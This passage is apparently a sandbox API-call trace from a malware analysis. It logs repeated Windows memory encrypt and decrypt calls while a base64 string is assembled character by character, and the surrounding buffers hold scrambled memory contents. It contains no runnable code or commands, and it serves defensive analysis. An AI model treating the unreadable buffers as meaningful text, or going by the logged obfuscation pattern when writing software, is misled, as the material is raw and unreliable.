returned 0x8 [0246.769] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.769] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.769] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.769] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.769] SysStringLen (param_1="NDZlOD") returned 0x8 [0246.769] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.770] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.770] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.770] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.770] SysStringLen (param_1="NDZlODR") returned 0x8 [0246.770] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.770] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.770] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.770] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.770] SysStringLen (param_1="NDZlODRm") returned 0x8 [0246.770] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0246.771] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.772] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.772] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.772] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.772] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.772] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.772] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.773] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0246.773] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.773] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.773] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0246.773] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.773] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.773] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0246.774] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.774] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.774] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0246.774] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.774] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.774] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0246.774] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.775] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.775] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0246.775] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0246.776] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.776] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0246.776] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.776] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0246.777] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.777] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0246.777] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.777] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0246.778] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.778] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.778] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0246.778] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.778] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.778] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0246.778] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.779] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0246.779] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.779] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.779] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0246.779] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0246.780] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0246.781] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.781] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0246.781] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.781] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.806] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0246.806] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.807] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.807] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0246.807] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.807] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.807] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0246.808] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.808] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.808] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0246.808] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.808] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.808] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.808] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0246.808] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0246.809] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.809] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0246.809] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.809] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0246.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0246.810] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.810] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0246.810] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0246.811] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.811] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0246.811] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0246.811] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.811] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0246.811] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0246.812] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0246.812] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0246.812] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.812] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0246.812] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0246.814] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.815] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0246.815] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0246.815] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.815] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0246.815] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0246.815] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.816] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0246.816] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0246.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0246.817] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0246.817] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.817] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0246.817] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0246.818] SysStringLen 